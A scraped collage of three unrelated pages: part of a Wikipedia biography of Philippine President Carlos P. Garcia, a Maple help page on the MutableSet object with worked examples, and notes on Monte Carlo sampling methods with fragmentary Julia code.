President Garcia won a full term as president with a landslide win in the national elections of November 12, 1957. Garcia, the Nacionalista candidate, garnered around 2.07 million votes or 41% of the total votes counted, defeating his closest rival, Jose Y. Yulo of the Liberal Party. His running mate, House Speaker Jose B. Laurel Jr., lost to Pampanga representative Diosdado P. Macapagal. This was the first time in Philippine electoral history where a president was elected by a plurality rather than a majority, and in which the winning presidential and vice-presidential candidates came from different parties.
Main article: List of cabinets of the Philippines § Carlos P. Garcia (1957–1961)
Anti-CommunismEdit
After much discussion, both official and public, the Congress of the Philippines, finally, approved a bill outlawing the Communist Party of the Philippines. Despite the pressure exerted against the congressional measure, Garcia signed the aforementioned bill into law as Republic Act No. 1700 or the Anti-Subversion Act on June 19, 1957.[6][7]
The act was superseded by Presidential Decree No. 885, entitled "Outlawing Subversive Organization, Penalizing Membership Therein and For Other Purposes", and was later amended by Presidential Decree No. 1736 and later superseded by Presidential Decree No. 1835, entitled, "Codifying The Various Laws on Anti-Subversion and Increasing the Penalties for Membership in Subversive Organization." This, in turn, was amended by Presidential Decree No. 1975. On May 5, 1987, Executive Order No. 167 repealed Presidential Decrees No. 1835 and No. 1975 as being unduly restrictive of the constitutional right to form associations.[8]
On September 22, 1992, Republic Act No. 1700, as amended, was repealed by Republic Act No. 7636 during the administration of Fidel V. Ramos,[9] which legalized the Communist Party of the Philippines, other underground movements[10] and subversion, though sedition remained a crime.[11]
Filipino First PolicyEdit
Main article: Filipino First policy
Garcia exercised the Filipino First Policy, for which he was known. This policy heavily favored Filipino businessmen over foreign investors. He was also responsible for changes in retail trade which greatly affected the Chinese businessmen in the country. In a speech during a joint session of Congress on September 18, 1946, Garcia said the following:
We are called upon to decide on this momentous debate whether or not this land of ours will remain the cradle and grave, the womb and tomb of our race – the only place where we can build our homes, our temples, and our altars and where we erect the castles of our racial hopes, dreams and traditions and where we establish the warehouse of our happiness and prosperity, of our joys and sorrows.[12]
Austerity ProgramEdit
In the face of the trying conditions in the country, Garcia initiated what has been called "The Austerity Program". His administration was characterized by its austerity program and its insistence on a comprehensive nationalist policy. On March 3, 1960, he affirmed the need for complete economic freedom and added that the government no longer would tolerate the dominance of foreign interests (especially American) in the national economy. He promised to shake off "the yoke of alien domination in business, trade, commerce and industry". Garcia was also credited with his role in reviving Filipino cultural arts.[5] The main points of the Austerity Program were:[6]
The government's tightening up of its controls to prevent abuses in the over shipment of exports under license and in under-pricing as well.
A more rigid enforcement of the existing regulations on barter shipments.
Restriction of government imports to essential items.
Reduction of rice imports to minimum.
An overhauling of the local transportation system to reduce the importation of gasoline and spare parts.
The revision of the tax system to attain more equitable distribution of the payment-burden and achieve more effective collection from those with ability to pay.
An intensification of food production.
The program was hailed[6] by the people at large and confidence was expressed that the measures proposed would help solve the standing problems of the Republic.[6]
Bohlen–Serrano AgreementEdit
During his administration, he acted on the Bohlen–Serrano Agreement, which shortened the lease of the American military bases from 99 years to 25 years and made it renewable after every five years.[13]
Creation of the International Rice Research InstituteEdit
Main article: International Rice Research Institute
President Carlos Garcia Official Portrait in Malacañang Palace
President Garcia, with the strong advocacy of Agriculture and Natural Resources Secretary Juan G. Rodriguez, invited the Ford Foundation and the Rockefeller Foundation "to establish a rice research institute" in Los Baños, Laguna. This led to the establishment of the International Rice Research Institute in 1960.[14]
Republic Cultural AwardEdit
In addition to his laws and programs, the Garcia administration also put emphasis on reviving the Filipino culture. In doing so, the Republic Cultural Award was created. To this day, the award is being given to Filipino artists, scientists, historians, and writers.[15]
At the end of his second term, he ran for re–election in the presidential elections of November 14, 1961, but was defeated by Vice President Diosdado Macapagal, who belonged to the rival Liberal Party.
Garcia, circa 1960s
President Garcia's tomb at the Libingan ng mga Bayani
After his failed re-election bid, Garcia retired to Tagbilaran to resume life as a private citizen.
On June 1, 1971, Garcia was elected delegate of the 1971 Constitutional Convention, where delegates elected him as president of the convention. However, on June 14, 1971, Garcia died from a heart attack on 5:57 p.m. at his Manila residence along Bohol Avenue (now Sergeant Esguerra Avenue), Quezon City.[16] He was succeeded as president of the convention by his former vice-president, Diosdado Macapagal.[citation needed]
Garcia was the first layman to lie in state in Manila Cathedral—a privilege once reserved for the Archbishops of Manila—and the first president to be buried at the Libingan ng mga Bayani.[citation needed]
On May 24, 1933, he married Leonila Dimataga.[17] The couple had a daughter, Linda Garcia-Campos.
Garcia portrayed in a Philippine 1958 stamp
Honorary Recipient of the Most Exalted Order of the Crown of the Realm (D.M.N.(K)) - (1959)[18]
Collar of the Order of Civil Merit (October 1, 1957)[19]
Exceptional Class of the Order of Kim Khanh - (March 19, 1956)[20]
Knight of the Order of the Knights of Rizal.
^ a b "Remembering Carlos P. García on his 115th Birth Anniversary" Archived January 11, 2013, at the Wayback Machine. Manila Bulletin. Retrieved 2012-10-05.
^ "Honorary Doctors | Toyo University". www.toyo.ac.jp (in Japanese). Retrieved December 9, 2020.
^ "Carlos P. Garcia". biography.yourdictionary.com. Retrieved December 9, 2020.
^ "List of Previous Senators". Senate of the Philippines. Retrieved November 22, 2014.
^ a b Eufronio Alip, ed., The Philippine Presidents from Aguinaldo to Garcia (1958); Jesús V. Merritt, Our Presidents: Profiles in History (1962); and Pedro A. Gagelonia, Presidents All (1967). See also Hernando J. Abaya, The Untold Philippine Story (1967). Further information can be found in Ester G. Maring and Joel M. Maring, eds., Historical and Cultural Dictionary of the Philippines (1973).
^ a b c d e f Molina, Antonio. The Philippines: Through the centuries. Manila: University of Sto. Tomas Cooperative, 1961. Print.
^ "Republic Act No. 1700". Chan Robles Law Library. June 19, 1957.
^ "Executive Order No. 167, Series of 1987". Chan Robles Law Library. May 5, 1987.
^ "Republic Act No. 7636". Chan Robles Law Library. September 22, 1992.
^ Clarke, G.; Jennings, M.; Shaw, T. (November 28, 2007). Development, Civil Society and Faith-Based Organizations: Bridging the Sacred and the Secular. Springer. p. 127. ISBN 978-0-230-37126-2. Retrieved June 17, 2021.
^ "Año stands by proposal to revive anti-subversion law". Philippine News Agency. August 14, 2019. Retrieved June 17, 2021.
^ "Our Vision and Mission". prescarlosgarcia.org. Archived from the original on April 26, 2012. Retrieved August 3, 2011.
^ Gregor, A. James (1989). In the Shadow of Giants: The Major Powers and the Security of Southeast Asia. Hoover Institution Press. pp. 119. ISBN 9780817988210.
^ Chandler, Robert Flint (1982). An Adventure in Applied Science: A History of the International Rice Research Institute (PDF). International Rice Research Institute. ISBN 9789711040635.
^ "Carlos P. Garcia (1957-1961) | Philippine Presidents". Philippine Presidents. 2010.
^ "CPG IS DEAD!". The Bohol Chronicle. June 15, 1971. Retrieved September 13, 2016.
^ Oaminal, Clarence Paul (July 20, 2016). "Pres. Carlos P. Garcia, the Boholano who married a Cebuana". The Philippine Star. Archived from the original on June 17, 2021. Retrieved June 17, 2021.
^ "Filipino recipients of Spanish Decorations". Official Gazette of the Republic of the Philippines.
^ "President's Month in Review: March 16 – March 31, 1958". Official Gazette of the Republic of the Philippines.
Wikimedia Commons has media related to Carlos P. Garcia.
Felixberto M. Serrano
New office President of the 1971 Philippine Constitutional Convention
Nacionalista Party nominee for President of the Philippines
Retrieved from "https://en.wikipedia.org/w/index.php?title=Carlos_P._Garcia&oldid=1089936707"
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MutableSet - Maple Help
Home : Support : Online Help : Programming : Operations : Sets and lists : MutableSet
An object-based mutable set
The MutableSet appliable object provides an efficient means to construct, manipulate, and query set objects.
Unlike a standard Maple set, adding an element to a MutableSet object does not allocate a new container. As such, it can be efficiently used in loops to build up a set an element at a time.
The MutableSet function returns a new MutableSet object.
If called with a single argument that is either a Maple set or a MutableSet object, the returned object contains the elements in the argument.
The following functions modify the content The ms argument denotes a MutableSet object.
clear(ms) : Clear ms.
delete(ms,expr) : Delete expr from ms.
insert(ms,expr) : Insert expr into ms.
ms ,= expr : Insert expr into ms. Unlike the insert function, the ,= operator can accept a sequence of elements on the right hand side.
The following set functions combine MutableSet objects. Those prefixed with an ampersand (&) operate inplace on the first argument. These functions can be invoked as functions or inline operators. The ms1 and ms2 arguments denote MutableSet objects.
ms1 intersect ms2, or
\mathrm{ms1}\cap \mathrm{ms2}
, or `intersect`(ms1,ms2,...) : Return a new MutableSet object that is the intersection of the given MutableSets.
ms1 &intersect ms2 or `&intersect`(ms1,ms2,...) : Remove elements of ms1 that are not elements of ms2, etc., updating ms1.
ms1 minus ms2, or
\mathrm{ms1}∖\mathrm{ms2}
, or `minus`(ms1,ms2) : Return a new MutableSet object that contains the set difference of ms1 and ms2.
ms1 &minus ms2 or `&minus`(ms1,ms2) : Remove elements of ms2 from ms1, updating ms1.
ms1 union ms2, or
\mathrm{ms1}\cup \mathrm{ms2}
, or `union`(ms1,ms2,...) : Return a new MutableSet object that is the union of the given mutable sets.
ms1 &union ms2 or `&union`(ms1,ms2,...) : Combine the members of ms2, etc., with ms1, updating ms1.
The following functions inspect the content of a MutableSet object. The ms, ms1, and ms2 arguments denote MutableSet objects.
ms = other or `=`(ms,other) : When evaluated in a boolean context, returns true if ms and other are both MutableSet objects with identical content, false otherwise.
expr in ms or `in`(expr,ms) : Returns true if expr is a member of ms, false otherwise.
empty(ms) : Returns true if ms is empty, false otherwise.
entries(ms) : Returns an expression sequence of all the entries in ms, with each entry enclosed in a list by default.
has(ms,expr) : Returns true if any member of ms contains expr, false otherwise.
hastype(ms,typ) : Returns true if any member of ms contains an expression of the specified type, false otherwise.
indets(ms,typ) : Returns a Maple set of all indeterminates in ms. If the optional typ parameter is specified, then returns the expressions of type typ.
indices(ms) : Returns an expression sequence of all the indices of ms, with each index enclosed in a list by default.
lowerbound(ms) : Returns the lower index bound (always 1).
max(ms) : Returns the maximum element of ms. Behaves like max on sets.
member(expr,ms) : Returns true if expr is a member of ms, false otherwise. The three argument form of member is not supported.
min(ms) : Returns the minimum element of ms. Behaves like min on sets.
numelems(ms) : Returns the number of elements in ms.
numboccur(ms,expr) : Count the number of occurrences of expr in ms, either as an element or within elements.
`subset`(ms1,ms2), or ms1 subset ms2, or ms1 subset ms2 : Returns true if ms1 is a subset of ms2, false otherwise.
upperbound(ms) : Returns the upper index (same as the output of numelems).
Each of the above functions is already available in Maple for built-in Maple structures such as sets and Arrays. Please refer to the help page for each function for details on usage.
The map, select, remove, selectremove, and subs functions operate on a MutableSet object. Refer to their help pages for the calling sequences. By default they create a new MutableSet object, but if called with the inplace index option, they update the MutableSet object. The ms argument denotes a MutableSet object.
map(fcn,ms) : Apply a procedure, fcn, to each element of ms.
select(fcn,ms) : Select elements of ms for which fcn returns true.
remove(fcn,ms) : Remove elements of ms for which fcn returns true.
selectremove(fcn,dq) : Produce two MutableSets, one containing selected elements and the other removed elements.
subs(eqns,ms) : Substitute subexpressions in the content of ms.
The convert function can be used to convert a MutableSet object to and from other Maple structures.
convert(ms,typ) : Convert a MutableSet to the specified type
convert(expr,MutableSet) : Convert expr to a MutableSet object. expr must be a list, set, or rtable.
Integer indices can be used to extract or reassign a single element of a MutableSet. Reassigning an element may change its index.
Range indices are not supported.
The MutableSet object exports a ModuleIterator function, allowing a MutableSet object to be used in loops and iterations (seq, add, etc.).
Create a MutableSet with three elements.
\mathrm{M1}≔\mathrm{MutableSet}\left(a,b,c\right)
\textcolor[rgb]{0,0,1}{\mathrm{M1}}\textcolor[rgb]{0,0,1}{≔}\textcolor[rgb]{0,0,1}{\mathrm{MutableSet}}\textcolor[rgb]{0,0,1}{}\left(\textcolor[rgb]{0,0,1}{a}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{b}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{c}\right)
Copy M1.
\mathrm{M2}≔\mathrm{MutableSet}\left(\mathrm{M1}\right)
\textcolor[rgb]{0,0,1}{\mathrm{M2}}\textcolor[rgb]{0,0,1}{≔}\textcolor[rgb]{0,0,1}{\mathrm{MutableSet}}\textcolor[rgb]{0,0,1}{}\left(\textcolor[rgb]{0,0,1}{a}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{b}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{c}\right)
Create a MutableSet from a Maple set.
\mathrm{M3}≔\mathrm{MutableSet}\left({b,c,d}\right)
\textcolor[rgb]{0,0,1}{\mathrm{M3}}\textcolor[rgb]{0,0,1}{≔}\textcolor[rgb]{0,0,1}{\mathrm{MutableSet}}\textcolor[rgb]{0,0,1}{}\left(\textcolor[rgb]{0,0,1}{b}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{c}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{d}\right)
Delete the b element from M1 and insert a d element.
\mathrm{delete}\left(\mathrm{M1},b\right)
\textcolor[rgb]{0,0,1}{\mathrm{MutableSet}}\textcolor[rgb]{0,0,1}{}\left(\textcolor[rgb]{0,0,1}{a}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{c}\right)
\mathrm{insert}\left(\mathrm{M1},d\right)
\textcolor[rgb]{0,0,1}{\mathrm{MutableSet}}\textcolor[rgb]{0,0,1}{}\left(\textcolor[rgb]{0,0,1}{a}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{c}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{d}\right)
c
to each element in
\mathrm{M2}
, doing so inplace.
\mathrm{map}[\mathrm{inplace}]\left(\mathrm{`+`},\mathrm{M2},c\right)
\textcolor[rgb]{0,0,1}{\mathrm{MutableSet}}\textcolor[rgb]{0,0,1}{}\left(\textcolor[rgb]{0,0,1}{a}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{c}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{b}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{c}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{2}\textcolor[rgb]{0,0,1}{}\textcolor[rgb]{0,0,1}{c}\right)
Replace all occurrences of
c
\mathrm{M2}
d
\mathrm{subs}[\mathrm{inplace}]\left(c=d,\mathrm{M2}\right)
\textcolor[rgb]{0,0,1}{\mathrm{MutableSet}}\textcolor[rgb]{0,0,1}{}\left(\textcolor[rgb]{0,0,1}{2}\textcolor[rgb]{0,0,1}{}\textcolor[rgb]{0,0,1}{d}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{a}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{d}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{b}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{d}\right)
Create two MutableSet objects, then form their intersection.
\mathrm{M1}≔\mathrm{MutableSet}\left(a,b,c,d\right)
\textcolor[rgb]{0,0,1}{\mathrm{M1}}\textcolor[rgb]{0,0,1}{≔}\textcolor[rgb]{0,0,1}{\mathrm{MutableSet}}\textcolor[rgb]{0,0,1}{}\left(\textcolor[rgb]{0,0,1}{a}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{b}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{c}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{d}\right)
\mathrm{M2}≔\mathrm{MutableSet}\left(c,d,e,f\right)
\textcolor[rgb]{0,0,1}{\mathrm{M2}}\textcolor[rgb]{0,0,1}{≔}\textcolor[rgb]{0,0,1}{\mathrm{MutableSet}}\textcolor[rgb]{0,0,1}{}\left(\textcolor[rgb]{0,0,1}{c}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{d}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{e}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{f}\right)
\mathrm{M3}≔\mathrm{M1}\phantom{\rule[-0.0ex]{0.3em}{0.0ex}}\mathbf{intersect}\phantom{\rule[-0.0ex]{0.3em}{0.0ex}}\mathrm{M2}
\textcolor[rgb]{0,0,1}{\mathrm{M3}}\textcolor[rgb]{0,0,1}{≔}\textcolor[rgb]{0,0,1}{\mathrm{MutableSet}}\textcolor[rgb]{0,0,1}{}\left(\textcolor[rgb]{0,0,1}{c}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{d}\right)
Use the inplace form to update
\mathrm{M1}
with the intersection of
\mathrm{M1}
\mathrm{M2}
\mathrm{M1}\phantom{\rule[-0.0ex]{0.3em}{0.0ex}}&intersect\phantom{\rule[-0.0ex]{0.3em}{0.0ex}}\mathrm{M2}:
\mathrm{M1}
\textcolor[rgb]{0,0,1}{\mathrm{MutableSet}}\textcolor[rgb]{0,0,1}{}\left(\textcolor[rgb]{0,0,1}{c}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{d}\right)
Use member to determine whether a given element is a member of
\mathrm{M1}
\mathrm{M1}≔\mathrm{MutableSet}\left(a,b,c,4\right)
\textcolor[rgb]{0,0,1}{\mathrm{M1}}\textcolor[rgb]{0,0,1}{≔}\textcolor[rgb]{0,0,1}{\mathrm{MutableSet}}\textcolor[rgb]{0,0,1}{}\left(\textcolor[rgb]{0,0,1}{4}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{a}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{b}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{c}\right)
\mathrm{member}\left(b,\mathrm{M1}\right)
\textcolor[rgb]{0,0,1}{\mathrm{true}}
\mathrm{has}\left(\mathrm{M1},c\right)
\textcolor[rgb]{0,0,1}{\mathrm{true}}
\mathrm{indets}\left(\mathrm{M1},\mathrm{numeric}\right)
{\textcolor[rgb]{0,0,1}{4}}
Create a MutableSet object by converting a Vector.
\mathrm{M1}≔\mathrm{convert}\left(\mathrm{Vector}\left(10,\mathrm{symbol}=v\right),\mathrm{MutableSet}\right)
\textcolor[rgb]{0,0,1}{\mathrm{M1}}\textcolor[rgb]{0,0,1}{≔}\textcolor[rgb]{0,0,1}{\mathrm{MutableSet}}\textcolor[rgb]{0,0,1}{}\left({\textcolor[rgb]{0,0,1}{v}}_{\textcolor[rgb]{0,0,1}{1}}\textcolor[rgb]{0,0,1}{,}{\textcolor[rgb]{0,0,1}{v}}_{\textcolor[rgb]{0,0,1}{2}}\textcolor[rgb]{0,0,1}{,}{\textcolor[rgb]{0,0,1}{v}}_{\textcolor[rgb]{0,0,1}{3}}\textcolor[rgb]{0,0,1}{,}{\textcolor[rgb]{0,0,1}{v}}_{\textcolor[rgb]{0,0,1}{4}}\textcolor[rgb]{0,0,1}{,}{\textcolor[rgb]{0,0,1}{v}}_{\textcolor[rgb]{0,0,1}{5}}\textcolor[rgb]{0,0,1}{,}{\textcolor[rgb]{0,0,1}{v}}_{\textcolor[rgb]{0,0,1}{6}}\textcolor[rgb]{0,0,1}{,}{\textcolor[rgb]{0,0,1}{v}}_{\textcolor[rgb]{0,0,1}{7}}\textcolor[rgb]{0,0,1}{,}{\textcolor[rgb]{0,0,1}{v}}_{\textcolor[rgb]{0,0,1}{8}}\textcolor[rgb]{0,0,1}{,}{\textcolor[rgb]{0,0,1}{v}}_{\textcolor[rgb]{0,0,1}{9}}\textcolor[rgb]{0,0,1}{,}{\textcolor[rgb]{0,0,1}{v}}_{\textcolor[rgb]{0,0,1}{10}}\right)
Convert M1 to a standard set.
\mathrm{convert}\left(\mathrm{M1},\mathrm{set}\right)
{{\textcolor[rgb]{0,0,1}{v}}_{\textcolor[rgb]{0,0,1}{1}}\textcolor[rgb]{0,0,1}{,}{\textcolor[rgb]{0,0,1}{v}}_{\textcolor[rgb]{0,0,1}{2}}\textcolor[rgb]{0,0,1}{,}{\textcolor[rgb]{0,0,1}{v}}_{\textcolor[rgb]{0,0,1}{3}}\textcolor[rgb]{0,0,1}{,}{\textcolor[rgb]{0,0,1}{v}}_{\textcolor[rgb]{0,0,1}{4}}\textcolor[rgb]{0,0,1}{,}{\textcolor[rgb]{0,0,1}{v}}_{\textcolor[rgb]{0,0,1}{5}}\textcolor[rgb]{0,0,1}{,}{\textcolor[rgb]{0,0,1}{v}}_{\textcolor[rgb]{0,0,1}{6}}\textcolor[rgb]{0,0,1}{,}{\textcolor[rgb]{0,0,1}{v}}_{\textcolor[rgb]{0,0,1}{7}}\textcolor[rgb]{0,0,1}{,}{\textcolor[rgb]{0,0,1}{v}}_{\textcolor[rgb]{0,0,1}{8}}\textcolor[rgb]{0,0,1}{,}{\textcolor[rgb]{0,0,1}{v}}_{\textcolor[rgb]{0,0,1}{9}}\textcolor[rgb]{0,0,1}{,}{\textcolor[rgb]{0,0,1}{v}}_{\textcolor[rgb]{0,0,1}{10}}}
Use indexing to extract each element of a MutableSet.
\mathrm{M1}≔\mathrm{MutableSet}\left(a,b,c,d\right)
\textcolor[rgb]{0,0,1}{\mathrm{M1}}\textcolor[rgb]{0,0,1}{≔}\textcolor[rgb]{0,0,1}{\mathrm{MutableSet}}\textcolor[rgb]{0,0,1}{}\left(\textcolor[rgb]{0,0,1}{a}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{b}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{c}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{d}\right)
\mathrm{seq}\left(i=\mathrm{M1}[i],i=1..\mathrm{numelems}\left(\mathrm{M1}\right)\right)
\textcolor[rgb]{0,0,1}{1}\textcolor[rgb]{0,0,1}{=}\textcolor[rgb]{0,0,1}{a}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{2}\textcolor[rgb]{0,0,1}{=}\textcolor[rgb]{0,0,1}{b}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{3}\textcolor[rgb]{0,0,1}{=}\textcolor[rgb]{0,0,1}{c}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{4}\textcolor[rgb]{0,0,1}{=}\textcolor[rgb]{0,0,1}{d}
Reassign the value at the second index. Note that in the updated MutableSet, the new value is assigned a different index.
\mathrm{M1}[2]≔23:
\mathrm{seq}\left(i=\mathrm{M1}[i],i=1..\mathrm{numelems}\left(\mathrm{M1}\right)\right)
\textcolor[rgb]{0,0,1}{1}\textcolor[rgb]{0,0,1}{=}\textcolor[rgb]{0,0,1}{23}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{2}\textcolor[rgb]{0,0,1}{=}\textcolor[rgb]{0,0,1}{a}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{3}\textcolor[rgb]{0,0,1}{=}\textcolor[rgb]{0,0,1}{c}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{4}\textcolor[rgb]{0,0,1}{=}\textcolor[rgb]{0,0,1}{d}
Iterate through each element in M1.
[\mathrm{seq}\left(x,x\phantom{\rule[-0.0ex]{0.3em}{0.0ex}}\mathbf{in}\phantom{\rule[-0.0ex]{0.3em}{0.0ex}}\mathrm{M1}\right)]
[\textcolor[rgb]{0,0,1}{23}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{a}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{c}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{d}]
Add the elements of M2.
\mathrm{add}\left(x,x\phantom{\rule[-0.0ex]{0.3em}{0.0ex}}\mathbf{in}\phantom{\rule[-0.0ex]{0.3em}{0.0ex}}\mathrm{M2}\right)
\textcolor[rgb]{0,0,1}{c}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{d}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{e}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{f}
\mathbf{for}\phantom{\rule[-0.0ex]{0.3em}{0.0ex}}x\phantom{\rule[-0.0ex]{0.3em}{0.0ex}}\mathbf{in}\phantom{\rule[-0.0ex]{0.3em}{0.0ex}}\mathrm{M2}\phantom{\rule[-0.0ex]{0.3em}{0.0ex}}\mathbf{do}\phantom{\rule[-0.0ex]{0.0em}{0.0ex}}\phantom{\rule[-0.0ex]{2.0em}{0.0ex}}\mathrm{print}\left(x\right)\phantom{\rule[-0.0ex]{0.0em}{0.0ex}}\mathbf{end}\phantom{\rule[-0.0ex]{0.3em}{0.0ex}}\mathbf{do}
\textcolor[rgb]{0,0,1}{c}
\textcolor[rgb]{0,0,1}{d}
\textcolor[rgb]{0,0,1}{e}
\textcolor[rgb]{0,0,1}{f}
The MutableSet object provides an efficient way to construct a set an element at a time, in a loop. Doing so with standard Maple sets is inefficient in that each addition creates a new set. As such the operation is
\mathrm{O}\left({n}^{2}\right)
n
is the number of elements. The following compares the memory and time required to create a set of ten thousand elements using standard sets and a MutableSet object.
MapleSets := proc(n :: posint)
s := s union {i};
MutableSets := proc(n :: posint)
s := MutableSet();
insert(s,-i);
\mathrm{CodeTools}:-\mathrm{Usage}\left(\mathrm{MapleSets}\left(10000\right)\right)
memory used=382.91MiB, alloc change=56.48MiB, cpu time=2.37s, real time=1.86s, gc time=1.21s
\textcolor[rgb]{0,0,1}{10000}
\mathrm{CodeTools}:-\mathrm{Usage}\left(\mathrm{MutableSets}\left(10000\right)\right)
\textcolor[rgb]{0,0,1}{10000}
The MutableSet object was introduced in Maple 2016.
|
Generate R.V. - Monte-Carlo
Minimum of Two Exponential
An important Lemma.
Box-Muller Algorithm
function boxmuller()
logu = sqrt(-2*log(u[1]))
x[1] = logu * cos(2*pi*u[2])
x[2] = logu * sin(2*pi*u[2])
boxmuller()
Accept-Reject Method
f(x)\propto \exp(-x^2/2)(\sin(6x)^2+3\cos(x)^2\sin(4x)^2+1)
The Julia code is as follows:
function AccRej(f::Function, M)
## use normal distribution N(0, 1) as sampling function g
cutpoint = f(x)/(M*g(x))
if u <= cutpoint
return([x, f(x)])
## density function of N(0, 1)
return(exp(-0.5*x^2)/sqrt(2*pi))
## example function and ignore the normalized constant
return(exp(-x^2/2)*(sin(6*x)^2 + 3*cos(x)^2*sin(4*x)^2 + 1))
data = ones(N, 2);
data[i,:] = AccRej(f, sqrt(2*pi)*5)
Envelope Accept-Reject
It is easy to write the Julia code:
function EnvAccRej(f::function, M, gl::function)
x = randn() # still assume gm is N(0,1)
cutpoint1 = gl(x)/(M*g(x))
cutpoint2 = f(x)/(M*g(x))
if u <= cutpoint1
elseif u <= cutpoint2
Atkinson's Poisson Simulation
It is necessary to note that the parameters in the algorithm are not same with those in the density function. In other words, the corresponding density function of the algorithm should be
f(x) = \beta \frac{\exp(\alpha-\beta x)}{[1+\exp(\alpha-\beta x)]^2}.
The following Julia code can generate the poisson random variable with respect to
\lambda
function AtkinsonPois(lambda)
beta = pi/sqrt(3*lambda)
alpha = lambda*beta
# step 1: propose new x
x = (alpha - log((1-u1)/u1))/beta
x > -0.5 && break
# step 2: transform to N
N = floor(Int, x)
# step 3: accept or not
lhs = alpha - beta*x + log(u2/(1+exp(alpha-beta*x))^2)
rhs = k + N*log(lambda) - log(factorial(lambda))
if lhs <= rhs
res = ones(Int, N);
res[i] = AtkinsonPois(10)
# ans: 8 9 13 10 12 .......
As mentioned in the above exercise, another poisson generation method can be derived from the following exercise.
We can write the following Julia code to implement this generation procedure.
function SimplePois(lambda)
x = -log(u)/lambda
## example for simple poisson
res2 = ones(Int, N);
res2[i] = SimplePois(10)
# ans: 5 7 16 7 10 .......
ARS Algorithm
ARS is based on the construction of an envelope and the derivation of a corresponding Accept-Reject algorithm. It provides a sequential evaluation of lower and upper envelopes of the density
f
h=\log f
is concave.
{\cal S}_n
be a set of points
x_i,i=0,1,\ldots,n+1
, in the support of
h(x_i)=\log f(x_i)
is known up to the same constant. Given the concavity of
h
L_{i,i+1}
(x_i,h(x_i))
(x_{i+1},h(x_{i+1}))
is below the graph of
h
[x_i,x_{i+1}]
and is above this graph outside this interval.
x\in [x_i,x_{i+1}]
\bar h_n(x)=\min\{L_{i-1,i}(x),L_{i+1,i+2}(x)\}\quad\text{and}\quad \underline h_n(x)=L_{i,i+1}(x)\,,
the envelopes are
\underline h_n(x)\le h(x)\le \bar h_n(x)
uniformly on the support of
\exp \underline h_n(x) = \underline f_n(x) \le f(x)\le \bar f_n(x)=\exp\bar h_n(x) = \bar w_ng_n(x)\,.
Davison (2008) provides another version of ARS
and gives an illustration example.
Let's consider the slightly simple verison in which we do not need to consider
h_-(y)
Consider the CDF of
g_+=\exp(h_+)
\begin{aligned} G_+(y) & = \int_{-\infty}^y \exp(h_+(x)) dx \\ & = \int_{-\infty}^{\min\{z_1,y\}} \exp(h_+(x)) dx \\ & \qquad + \int_{z_1}^{\min\{z_2,\max\{y, z_1\}\}} \exp(h_+(x)) dx \\ & \qquad + \cdots \\ & \qquad + \int_{z_{k-1}}^{\min\{z_k,\max\{y, z_{k-1}\}\}} \exp(h_+(x)) dx \\ & \qquad + \int_{z_k}^{\max\{z_k,y\}} \exp(h_+(x)) dx \end{aligned}
\int_{z_{j}}^{z_{j+1}}\exp(h_+(x))dx = \exp({h(y_{j+1})})\cdot \frac{1}{h'(y_{j+1})}\exp((y-y_{j+1})h'(y_{j+1}))\mid_{z_j}^{z_{j+1}},\; j=1,\ldots,k-1
Then use the inverse of
G_+(y)
to sample random variable whose density function is
g_+(x)
. So we can use the following Julia program to sample from
g_+(x)
# example 3.22 in Davison(2008)
r = 2; m = 10; mu = 0; sig2 = 1;
# range of y
yl = -2; yu = 2;
# function of h
function h(y)
return(r * y - m * log(1 + exp(y)) - (y - mu)^2 / (2 * sig2))
function h(y::Array)
return(r * y - m * log.(1 .+ exp.(y)) .- (y .- mu) .^2 ./ (2 * sig2))
